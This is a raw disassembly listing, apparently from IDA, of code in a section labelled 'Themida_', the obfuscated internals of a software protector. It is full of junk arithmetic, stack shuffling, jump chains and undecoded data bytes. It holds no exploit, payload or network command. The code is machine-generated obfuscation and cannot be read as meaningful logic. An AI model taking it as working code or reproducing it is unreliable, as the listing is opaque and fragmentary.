		dd 0EC830B30h, 240C8904h, 0AD09B7B9h, 16F18163h, 0E9304568h
		dd 534Ch, 1618B951h, 22E911DDh
		db 0DFh, 2 dup(0)
aN1Hg		db '­1ØhG',0            ; DATA XREF: Themida_:0055DF00o
		db 2 dup(0), 89h
		dd 0EC81243Ch, 4, 0E9240C89h, 5B6Fh
; ---------------------------------------------------------------------------


loc_55F15C:				; CODE XREF: Themida_:00560616j
		not	ecx
		xor	ecx, 85F6D8Fh
		add	ecx, 797E81F6h
		sub	edi, ecx
		jmp	loc_55FE6C
; ---------------------------------------------------------------------------


loc_55F171:				; CODE XREF: Themida_:0056C9B1j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_5724F3
; ---------------------------------------------------------------------------
		db 81h
		dd 2A4896C2h, 81F2016Bh, 2A4896EAh, 0D0015E6Bh,	312CE9h
		dd 4C48300h, 0E904C483h, 0FFFFEEE3h, 8007E1C0h,	0D1F67CE9h
		dd 887CE980h, 2B7EE9CBh, 0E9560000h, 113ADh
; ---------------------------------------------------------------------------


loc_55F1D4:				; CODE XREF: Themida_:0056FB86j
		add	bl, 14h
		pop	ax
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_5638DD
; ---------------------------------------------------------------------------
dword_55F1E8	dd 8904EC83h, 58542404h, 0CDECE9h, 0EE815F00h, 62050AD9h
					; DATA XREF: Themida_:0055DEC0o
		dd 51F5C681h, 0FE014DEEh, 51F5EE81h, 0C6814DEEh, 62050AD9h
		dd 7035C681h, 34FF64A7h, 0C4835F24h, 4BA5204h, 29000000h
		dd 0E9565AD6h, 0FFFFF832h, 0E37800Dh, 56BA5267h, 0D1566933h
		dd 70B850E2h, 0E9642E64h, 0A56Fh
dword_55F244	dd 3166AD66h, 2EC81D8h,	66000000h, 51243489h, 24596866h
					; DATA XREF: Themida_:0055DE8Co
		dd 81665966h, 660001E9h, 0C6BA6652h, 0D1316606h, 2D4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F26D:				; CODE XREF: Themida_:0057231Cj
		sub	ebx, 4EDC7813h
		sub	ebx, edx
		jmp	loc_5720FD
; ---------------------------------------------------------------------------
		dw 6853h
		dd 7D69069Eh, 81D3F75Bh, 2135A0C3h, 3099E908h, 0E95F0000h
		dd 0D0DEh, 8124048Bh, 4C4h, 279DE900h, 0CB310000h, 731FE959h
		dd 1C890000h, 33BF5724h, 0E911BE3Ah, 0CAE6h
; ---------------------------------------------------------------------------


loc_55F2B8:				; CODE XREF: Themida_:0056207Fj
		movzx	cx, ah
		push	2CEh
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 18367BA7h
		mov	ebx, esi
		pop	esi
		xor	ebx, 47F20215h
		add	ebx, 0F509C302h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 6C340D2Dh
		and	ebp, 680A0722h
		push	ecx
		jmp	loc_55E328
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 2404295Ch, 0FF54E99Ch,	1C870000h
		dd 4C7CE924h, 0C8B0000h, 4C48324h, 2B850h, 0C3010000h
		dd 5707E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F325:				; CODE XREF: Themida_:0055EDBDj
		pop	eax
		jmp	loc_55FA3A
; ---------------------------------------------------------------------------
		db 1
aUsi		db 'îéI¹',0
		align 2


loc_55F332:				; CODE XREF: Themida_:00564AE8j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6D3A4B89h
		add	[esp+0Ch], esi
		mov	esi, [esp]
		add	esp, 4
		add	dword ptr [esp+8], 0C034F2Fh
		add	[esp+8], eax
		sub	dword ptr [esp+8], 0C034F2Fh
		jmp	loc_5692AD
; ---------------------------------------------------------------------------


loc_55F360:				; CODE XREF: Themida_:0056E849j
		add	ebx, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ecx, [esp]
		jmp	loc_5603EB
; ---------------------------------------------------------------------------


loc_55F375:				; CODE XREF: Themida_:0055ED63j
		mov	[esp], eax
		push	6BBFh
		mov	[esp], esp
		jmp	loc_56C7DE
; ---------------------------------------------------------------------------


loc_55F385:				; CODE XREF: Themida_:00567995j
		neg	ecx
		add	ecx, 352E0A1Ah
		jmp	loc_572BA8
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 8002B411h, 0FC00C7ECh, 43EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F3A1:				; CODE XREF: Themida_:0056D333j
		mov	esp, [esp]
		jmp	loc_5708F7
; ---------------------------------------------------------------------------


loc_55F3A9:				; CODE XREF: Themida_:00565413j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5721EF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E089505Dh, 405h, 0AF43E900h
		db 2 dup(0)
word_55F3CE	dw 8B66h		; DATA XREF: Themida_:0055DFF4o
		dd 0B2E92404h, 0FE0000CBh, 80D4F6CCh, 0DCF6EECCh, 0D3B35366h
		dd 5B66DC30h, 9756E9h, 4C58100h, 50000000h, 4B8h, 8BC52900h
		dd 0C4832404h, 242C8704h, 8924248Bh, 5B54241Ch,	8904EC83h
		dd 0E9552404h, 0AB62h, 0C158C121h, 0AEE903E9h, 570000F5h
		dd 1C517FBFh, 6ECF8156h, 0C109EE27h, 0C78105E7h, 311024h
		dd 0E95FF801h, 10D47h, 0AF23C405h, 4E0C153h, 0C97FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F44D:				; CODE XREF: Themida_:0056CCA1j
		xor	dword ptr [esp], 76D264DDh
		jmp	loc_569A73
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 55h
		dd 8F066EBDh, 0F7CD8103h, 812CD661h, 856E6CDh, 2EDC169h
		dd 7DF5E581h, 0BB537ADFh, 6A31189Fh, 0A8BDEB81h, 0DD01EBE7h
		dd 8511E9h, 2C48100h, 0
		dd 42B450C3h, 55496866h, 24048966h, 12454F6h, 24048B66h
		dd 0FD00E9h, 0E9C52900h, 3812h,	0FCE5E95Bh, 6CB6FFFFh
		dd 0CCE9F520h
		db 25h,	1, 0
; ---------------------------------------------------------------------------


loc_55F4BF:				; CODE XREF: Themida_:00565B0Fj
		add	dword ptr [esp+4], 5B1D70CBh
		add	[esp+4], ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56BF35
; ---------------------------------------------------------------------------
aVswn		db 'VéW­',0
		align 4
		dd 5007EAC1h, 136EFE9h,	8304B300h, 37E904ECh, 68000105h
		dd 6600h, 0FF243489h, 0E9042474h, 10F81h
; ---------------------------------------------------------------------------


loc_55F500:				; CODE XREF: Themida_:005648A0j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56C948
; ---------------------------------------------------------------------------
		dd 2EC81h, 89660000h, 0EC832414h, 241C8904h, 50FBB151h
		dd 0A8FE9h, 4C68100h, 83000000h, 348704EEh, 1C895C24h
		dd 4BB24h, 39E90000h, 81000131h, 375020EBh, 51C38157h
		dd 8103925Dh, 0B67F51EBh, 0E7C38160h, 8134062Fh, 14811F3h
		dd 53062DB4h, 0D8291884h, 84530605h, 0F92D5B18h, 5A12401Ch
		dd 30BCE9h, 42D00h, 4870000h, 24895C24h, 24048124h, 4
		dd 81242C8Bh, 4C4h, 8AB85000h, 0F73A962Eh, 0CFBF57D0h
		dd 0E90EFD73h, 1069Ch, 320968h,	24048900h, 0BCE9E089h
		dd 83000066h, 5CE902C4h, 1000082h, 0E98158C1h, 0D9B70947h
		dd 8159C801h, 0E338ACC2h, 6E3E967h, 48B0001h, 4C48324h
		dd 2D5BBF57h, 0D7F71910h, 964AE9h, 4C48300h, 10F8AE9h
		dd 36BD6800h, 2D586648h, 4FA97DF8h, 0EC2ABF2Dh,	0CDE95157h
		dd 580000FCh, 3DF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F60D:				; CODE XREF: Themida_:0055E1ADj
		sub	ebx, 4CD9689Fh
		add	ebx, 599A27A1h
		mov	esi, ebx
		jmp	loc_56E835
; ---------------------------------------------------------------------------
		dd 0E980D1F6h, 0D4D5E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F62A:				; CODE XREF: Themida_:0055EB02j
		dec	eax
		xor	eax, 743E392Dh
		mov	esi, eax
		pop	eax
		neg	esi
		jmp	loc_566897
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 5F042474h, 0E924048Fh, 114B2h, 64E7C781h, 835B2819h
		dd 67E904ECh
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F657:				; CODE XREF: Themida_:005674BAj
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55F7F2
; ---------------------------------------------------------------------------
aUqsI		db 'UQé¸ë',0
		dw 0FF00h
		dd 5F042474h, 8B24048Fh, 47E92424h, 580000D7h, 0CB44EE81h
		dd 49E9442Fh
		db 46h,	2 dup(0)
byte_55F683	db 66h			; DATA XREF: Themida_:0055DFF8o
		dd 81240C8Bh, 4ECh, 0C263E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F692:				; CODE XREF: Themida_:0055E47Dj
		add	esi, 42F83190h
		or	esi, 656237F6h
		xor	esi, 0ED6EBFF3h
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_572C02
; ---------------------------------------------------------------------------


loc_55F6B6:				; CODE XREF: Themida_:00569B91j
		or	edx, 1C34268Eh
		push	ebp
		mov	ebp, 721C54EFh
		xor	edx, ebp
		pop	ebp
		jmp	loc_56E88F
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C3304h, 33240C31h, 61E9240Ch
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F6DB:				; CODE XREF: Themida_:00560E6Fj
		add	ecx, 75FA291Ch
		dec	ecx
		and	ecx, 187D413Ch
		jmp	loc_569B69
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1830000h, 240C8704h, 0E73685Ch, 2C890000h
		dd 0D8B95124h, 0BD3BAE2Eh, 3BAE2EDCh, 159CD29h,	0E9505DE8h
		dd 0A1E2h, 7EA1E381h, 0CB814A0Fh, 7E552227h, 8103E3C1h
		dd 0FBF534EBh, 0B7B4E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F736:				; CODE XREF: Themida_:0056250Fj
		push	615Dh
		jmp	loc_5720CD
; ---------------------------------------------------------------------------


loc_55F740:				; CODE XREF: Themida_:00568CA4j
		mov	[esp], esi
		push	5A46h
		mov	[esp], eax
		jmp	loc_568EA3
; ---------------------------------------------------------------------------
		dd 8924248Bh, 0E0892404h, 46853h, 15B0000h, 82685BD8h
		dd 0E9000036h, 0FFFFFB3Eh, 4C281h, 1AE90000h, 55000128h
		dd 0F70E94BDh, 64ED813Ch, 0E94B3E0Dh, 4284h, 4EC81h, 14890000h
		dd 23BA6624h, 0CA816603h, 4A665EE6h, 4E2C166h, 26F28166h
		dd 0D2F7665Bh, 0A2F28166h, 0D631662Ch, 0EE81665Ah, 4E91A55h
		dd 0C1000047h, 0D2F702EAh, 0D50C281h, 0EB818BACh, 281E2778h
		dd 0C381D301h, 281E2778h, 82ADE9h, 52E18900h, 4B850h, 0D4E90000h
		dd 56000073h, 9C34EABEh, 150CE93Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55F7F2:				; CODE XREF: Themida_:0055F65Bj
		pop	esp
		jmp	loc_5661B8
; ---------------------------------------------------------------------------


loc_55F7F8:				; CODE XREF: Themida_:00567BACj
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_56CA3C
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 5DB2BE56h, 0F0016D41h, 0E92434FFh, 0A588h
dword_55F818	dd 33240431h, 4312404h,	9C2CE924h ; DATA XREF: Themida_:0055DF14o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F826:				; CODE XREF: Themida_:00566DB4j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		sub	dword ptr [esp], 6AFC08E2h
		jmp	loc_56D0D7
; ---------------------------------------------------------------------------


loc_55F83D:				; CODE XREF: Themida_:005627EFj
		add	ebp, edx
		pop	edx
		push	ebp
		push	edx
		mov	edx, 36C35838h
		add	[esp+4], edx
		pop	edx
		pop	esi
		jmp	loc_5637CC
; ---------------------------------------------------------------------------


loc_55F852:				; CODE XREF: Themida_:00572578j
		sub	ebp, 4A903ECEh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 52D877B0h
		xor	ebp, ecx
		pop	ecx
		xor	ecx, ebp
		jmp	loc_566EBA
; ---------------------------------------------------------------------------
		db 0B8h, 3Bh, 47h
		dd 0E8C1096Eh, 7FC20D05h, 57513ECFh, 3161C0BFh,	38685355h
		dd 8900004Eh, 0FEB82404h, 895939ABh, 895558C3h,	1820E9DDh
		dd 8F5D0001h, 895C2404h, 0E4E92414h
		db 25h,	1, 0
; ---------------------------------------------------------------------------


loc_55F8A7:				; CODE XREF: Themida_:0056CD2Bj
		mov	edx, 3EC53B61h
		sub	edx, eax
		pop	eax
		shr	edx, 1
		inc	edx
		xor	edx, 0F7453AABh
		xor	ebx, edx
		pop	edx
		mov	eax, ebx
		jmp	loc_5652F8
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 5C24048Fh,	0B524E9h, 57E18900h, 772A93BFh
		dd 64C7810Fh, 53559A51h, 7BA9BD55h, 0EB893BE1h,	33BE565Dh
		dd 29CC9563h, 0DF015EF3h, 97C7815Bh, 12BA26Bh, 0FE71E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F902:				; CODE XREF: Themida_:00571E62j
		add	esp, 4
		jmp	loc_5703C0
; ---------------------------------------------------------------------------
		dw 8146h
		dd 0FFFFFFC6h, 72C681FFh, 0E965D938h, 7CE0h
; ---------------------------------------------------------------------------


loc_55F91C:				; CODE XREF: Themida_:0056F9C5j
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	ebp
		push	edi
		mov	edi, 71716A4Fh
		shr	edi, 1
		push	edi
		jmp	loc_565760
; ---------------------------------------------------------------------------
aSie		db '^éëe',0
		dw 3100h
		dd 1E54E9CEh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55F942:				; CODE XREF: Themida_:005722E2j
		pop	ebp
		sub	dword ptr [esp+4], 491013F9h
		sub	dword ptr [esp+4], 52C3233Ah
		jmp	loc_56BDA8
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 34890000h, 1663E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F96A:				; CODE XREF: Themida_:0056309Ej
		mov	[esp], edi
		jmp	loc_56201B
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 64E213D5h, 0E71BEA81h, 0D101978Bh, 8124148Bh, 4C4h
		dd 0C1814100h, 4398561Ch, 8A1AE9h, 8BCD2900h, 0C481240Ch
		dd 4, 0FFF48EE9h, 240487FFh, 91D1F791h,	248DE9h, 24048900h
		dd 5E5C6857h, 815F7E6Eh, 2920C9E7h, 0F781475Fh,	1F1C2E03h
		dd 0BA5F5857h, 41342E4Eh, 34FFC231h, 24048B24h,	0E904C483h
		dd 0BCD1h, 53665366h, 0AFC5E9h,	4C48300h, 4EC81h, 0CEE90000h
		dd 680000A4h, 2Ch, 6824048Bh, 11E2h, 54240C89h,	3E95059h
		dd 53000031h, 5A5B6852h, 815A4666h, 0B12CACEAh,	5AD38912h
		dd 4E03E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FA25:				; CODE XREF: Themida_:0056A4F9j
		sub	esi, 5B213384h
		mov	ebp, esi
		pop	esi
		or	ebp, 0AF472E9h
		push	ebx
		jmp	loc_5702F1
; ---------------------------------------------------------------------------


loc_55FA3A:				; CODE XREF: Themida_:0055F326j
		push	eax
		jmp	loc_56AE05
; ---------------------------------------------------------------------------
		dd 5E2D68h, 240C8900h, 0F16ACDB9h, 0D1F74976h, 444FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FA55:				; CODE XREF: Themida_:0057007Ej
		not	ecx
		push	eax
		mov	eax, 22961F12h
		shl	eax, 3
		push	ebx
		mov	ebx, 409A317Dh
		sub	ebx, 7D08664Eh
		xor	ebx, 17AE0947h
		xor	ebx, 0C6F8BE48h
		add	eax, ebx
		jmp	loc_5681D7
; ---------------------------------------------------------------------------
		db 87h
		dd 565C240Ch, 0C681E689h, 4, 9BDCE9h, 1881BA00h, 0E28102DCh
		dd 79342ED8h, 0EA81D2F7h, 0D8278CDDh, 1EEBE9h, 5EF70100h
		dd 8704C783h, 8F5C243Ch, 0FFE92404h, 0E900006Ch, 0FFFFE5DFh
		dd 875EF701h, 248B243Ch, 1C470924h, 8324048Bh, 616804C4h
		dd 89000067h, 2868241Ch, 0E9000051h, 0BEA6h
; ---------------------------------------------------------------------------


loc_55FAE4:				; CODE XREF: Themida_:0056F33Aj
		pop	eax
		mov	ch, dl
		pop	edx
		add	bl, 93h
		add	bl, ch
		push	eax
		mov	ah, 18h
		jmp	loc_56B8D9
; ---------------------------------------------------------------------------


loc_55FAF5:				; CODE XREF: Themida_:00566E9Fj
		pop	eax
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_56D612
; ---------------------------------------------------------------------------


loc_55FB0D:				; CODE XREF: Themida_:0056FF63j
		push	dword ptr [esp]
		jmp	loc_561BA7
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0E9010000h, 7BE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FB21:				; CODE XREF: Themida_:00560DA3j
		not	esi
		shl	esi, 2
		add	esi, 18CD514Ch
		push	ecx
		mov	ecx, 52AA291Dh
		jmp	loc_566F67
; ---------------------------------------------------------------------------


loc_55FB37:				; CODE XREF: Themida_:00562630j
		sub	dword ptr [esp+4], 66220272h
		jmp	loc_56384F
; ---------------------------------------------------------------------------
		dd 54241C89h, 5B2434FFh, 4C481h, 0D3E90000h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB57:				; CODE XREF: Themida_:0056FEF3j
		mov	[esp], eax
		push	edx
		jmp	loc_5643AB
; ---------------------------------------------------------------------------
aIcss		db '‰çé‘"',0
		db 0
; ---------------------------------------------------------------------------


loc_55FB67:				; CODE XREF: Themida_:00560BD5j
		add	ecx, 4
		jmp	loc_571EF9
; ---------------------------------------------------------------------------
		dw 0C189h
		dd 0B7C78158h, 0E96E9E55h, 0FFFFEF87h, 1D7E68h,	241C8900h
		dd 2BBh, 0E9DA2900h, 11A5h, 5FF80158h, 48BC789h, 4C48324h
		dd 787AB951h, 0CF293CC2h, 0CFEF8159h, 100F422h,	0CFC781CFh
		dd 8100F422h, 0C2787AC7h, 0EFD1593Ch, 4A9C781h,	0F8313148h
		dd 5F47E9h, 0E7895700h,	0FFF4C7E9h, 4C783FFh, 889E9h, 0E9E88900h
		dd 13D3h, 0FA7DE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBEA:				; CODE XREF: Themida_:00571E16j
		pop	ebx
		shr	ecx, 3
		shl	ecx, 4
		jmp	loc_570887
; ---------------------------------------------------------------------------


loc_55FBF6:				; CODE XREF: Themida_:00560C73j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_568022
; ---------------------------------------------------------------------------


loc_55FC0C:				; CODE XREF: Themida_:00563AAFj
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_570124
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5504C483h, 0A137E9h,	0BE565100h, 7D3E44DEh, 0F64B6AB9h
		dd 0E9F12998h, 0B473h, 0FFE45EE9h, 0EC8355FFh, 2AA8E904h
		dd 3C890000h, 0AA21E924h, 3C870000h, 24248B24h,	75A668h
		dd 0F638E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FC62:				; CODE XREF: Themida_:0056DB42j
		sub	eax, esi
		add	eax, 50A460BFh
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56660F
; ---------------------------------------------------------------------------
		dd 4C481h, 0AE90000h
		db 0, 1, 0
; ---------------------------------------------------------------------------


loc_55FC83:				; CODE XREF: Themida_:0056D487j
		xor	esi, edi
		mov	edi, [esp]
		jmp	loc_56D95B
; ---------------------------------------------------------------------------


loc_55FC8D:				; CODE XREF: Themida_:0056F9DBj
		not	eax
		jmp	loc_5718FF
; ---------------------------------------------------------------------------
aPFsA		db '\P´äé*a',0
		dd 59CB2900h, 0CC19E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FCA5:				; CODE XREF: Themida_:00563B60j
		sub	esp, 4
		jmp	loc_560165
; ---------------------------------------------------------------------------


loc_55FCAD:				; CODE XREF: Themida_:0056E8B7j
		mov	[esp], ecx
		mov	ecx, 6CB21B6Eh
		push	eax
		mov	eax, 934EE491h
		add	ecx, eax
		push	dword ptr [esp]
		jmp	loc_5604FE
; ---------------------------------------------------------------------------
		db 58h,	83h, 0ECh
		dd 24148904h, 0C281E289h, 4, 38B4E953h,	0C7810000h, 25694FA8h
		dd 117E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FCE5:				; CODE XREF: Themida_:0056CB10j
		neg	ecx
		sub	ecx, 0B309AFA2h
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edx, 159F3590h
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		jmp	loc_56ACF3
; ---------------------------------------------------------------------------
aBP		db 'êp$',0
		db 14h,	0FFh, 34h
		dd 24048B24h, 8104C483h, 4C4h, 447F6800h, 4890000h, 5C7CB824h
		dd 0C2295D68h, 0FEF3E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD36:				; CODE XREF: Themida_:0056DF56j
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57069D
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 5Bh
		dd 8B242C87h, 89662424h, 0F66240Ch, 5166C8B6h, 0E33DE99Ch
		dd 0EF81FFFFh, 93B3D9A2h, 0E95FFA89h, 0CCC2h
; ---------------------------------------------------------------------------


loc_55FD70:				; CODE XREF: Themida_:00564F85j
		mov	edx, 4FD33BDAh
		jmp	loc_56E327
; ---------------------------------------------------------------------------
		dw 483h
		dd 34FF0424h, 89515924h, 4C181E1h, 83000000h, 0C8704E9h
		dd 4895C24h, 0B797E924h, 0EC810000h, 4,	68240489h, 552Bh
		dd 81243489h, 1DA62404h, 14E94235h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FDB7:				; CODE XREF: Themida_:00572B46j
		add	edx, 467E41A7h
		push	ecx
		mov	ecx, 27EF401Ch
		sub	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	[ebx], eax
		pop	ebx
		jmp	loc_56D3CB
; ---------------------------------------------------------------------------
		dw 0B1h
		dd 0F180C1FEh, 1DE98037h, 8FAEE9h, 4BCBB900h, 0D9F721ECh
		dd 1BE9D9F7h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FDF3:				; CODE XREF: Themida_:00560CC9j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_562228
		push	ebx
		jmp	loc_56645A
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0D567E900h, 0C4810000h, 4, 0FFE286E9h,	5BD801FFh
		dd 3CEDBB53h, 0D801522Fh, 55E8295Bh, 73F41BDh, 3E5C106h
		dd 3A6CCD81h, 0F5817656h, 2450C681h, 62B3E9h, 0E6816600h
		dd 81661057h, 662422C6h, 69FCEB81h, 1FF4E9h, 0ADB65200h
		dd 0F1007FB1h, 59CE885Ah, 8B66F000h, 0E9512414h, 0A8F3h
; ---------------------------------------------------------------------------


loc_55FE6C:				; CODE XREF: Themida_:0055F16Cj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edi, ebp
		add	edi, 23E16761h
		push	dword ptr [esp]
		jmp	loc_56F3A6
; ---------------------------------------------------------------------------
		dw 0E52Dh
		dd 5D363D0Bh, 74F6BB53h, 0EB810038h, 3874F2h, 1C8BD801h
		dd 4C48324h, 3649E9h, 242C8900h, 1208DE9h, 5FFD0100h, 64A2E9h
		db 0
aNsD		db '­é¼¤',0             ; DATA XREF: Themida_:0055DDD0o
		db 0
; ---------------------------------------------------------------------------


loc_55FEC7:				; CODE XREF: Themida_:0056C9CEj
		mov	esi, 153654BDh
		or	esi, 3EB510F3h
		sub	esi, 43474A54h
		dec	esi
		sub	esi, 0DC2AD017h
		jmp	loc_56CD5B
; ---------------------------------------------------------------------------
		dd 4BFh, 247C0100h, 48F5F04h, 24048124h, 4, 9968525Eh
		dd 5A6C2F09h, 0E2D1E2D1h, 0F281DAF7h, 4F43D998h, 7F73EE81h
		dd 0D6014A95h, 7F73C681h, 148B4A95h, 0BBE2E924h, 81470000h
		dd 8852E8CFh, 2D684709h, 89000022h, 0FFE92404h,	6800009Eh
		dd 6B38h, 24048F54h, 4240481h, 5E000000h, 108EDE9h, 0C1815A00h
		dd 77C82406h, 0E981E929h, 77C82406h, 59CE015Dh,	31243433h
		dd 34332434h, 24248B24h, 3FB6E9h, 5E95900h, 90000B9h, 57E95BD9h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FF7F:				; CODE XREF: Themida_:0056DAE2j
		sub	ebx, 52F370AAh
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_5692F3
; ---------------------------------------------------------------------------
		dw 6852h
		dd 125Eh, 0B1240C89h, 0E999B234h, 0E8Fh, 24048F5Dh, 2A0E95Ch
		dd 685A0000h, 7BF8h, 0E9240489h, 1241h,	0D8F65FB0h, 9B7DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FFC2:				; CODE XREF: Themida_:00560845j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_563CF3
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 0BF74E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FFE2:				; CODE XREF: Themida_:00566125j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_567301
; ---------------------------------------------------------------------------
		dw 2489h
dword_55FFF8	dd 4B85024h, 0E9000000h, 863Fh,	0B827E95Ah, 3C870000h
					; DATA XREF: Themida_:0058033Co
		dd 24248B24h, 0A22CE9h,	0F3015B00h, 0BC31E9h
		db 0
; ---------------------------------------------------------------------------


loc_56001D:				; CODE XREF: Themida_:00569AF2j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_56D17D
; ---------------------------------------------------------------------------


loc_560036:				; CODE XREF: Themida_:005693C3j
		push	2478h
		mov	[esp], edx
		push	ebx
		mov	ebx, 52972A1h
		jmp	loc_56E32F
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0FFh
		dd 127D74Bh, 0C28159CAh, 4, 0E9241487h,	9F8Ah, 0B9515E54h
		dd 5FCD052Fh, 1534C981h, 0D1F7764Ah, 0AB60E9h, 81F22900h
		dd 0B53C5EAh, 24348B7Bh, 0DE0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_560085:				; CODE XREF: Themida_:0056F04Cj
		add	edi, ebp
		jmp	loc_56FF9F
; ---------------------------------------------------------------------------
		dd 9A2B3BBAh, 37BE5629h, 0E9299A2Bh, 0FFFFE55Bh
; ---------------------------------------------------------------------------


loc_56009C:				; CODE XREF: Themida_:0056BDC7j
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		db 58h
		dd 3F1FED81h, 0FD0104A4h, 1162FE9h, 69BEBA00h, 0B850747Ah
		dd 53E01584h, 4920BE56h, 7AE934FCh, 290000D9h, 49B4E9F8h
		dd 0C4830000h, 375E2504h, 6B256C56h, 4077AC1Ah,	0E5AFF32Dh
		dd 8BC60136h, 0C4832404h, 0E9565504h, 261Fh
; ---------------------------------------------------------------------------


loc_5600F4:				; CODE XREF: Themida_:005726B7j
		mov	ebx, 769870C9h
		xor	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_56BD0A
; ---------------------------------------------------------------------------
		db 52h
		dd 0B850E289h, 4, 8158C201h, 4C2h, 24148700h, 0DFC3815Ch
		dd 15AE919h, 0DFEB81FBh, 35AE919h, 2434FF03h, 46E4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560132:				; CODE XREF: Themida_:0056A090j
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	4C1Ah
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_570F60
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 17h
		dd 29000071h, 0C2815DEAh, 0FFFFFFFFh, 0ACC5C281h, 0D1094A3Eh
		dd 97F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_560165:				; CODE XREF: Themida_:0055FCA8j
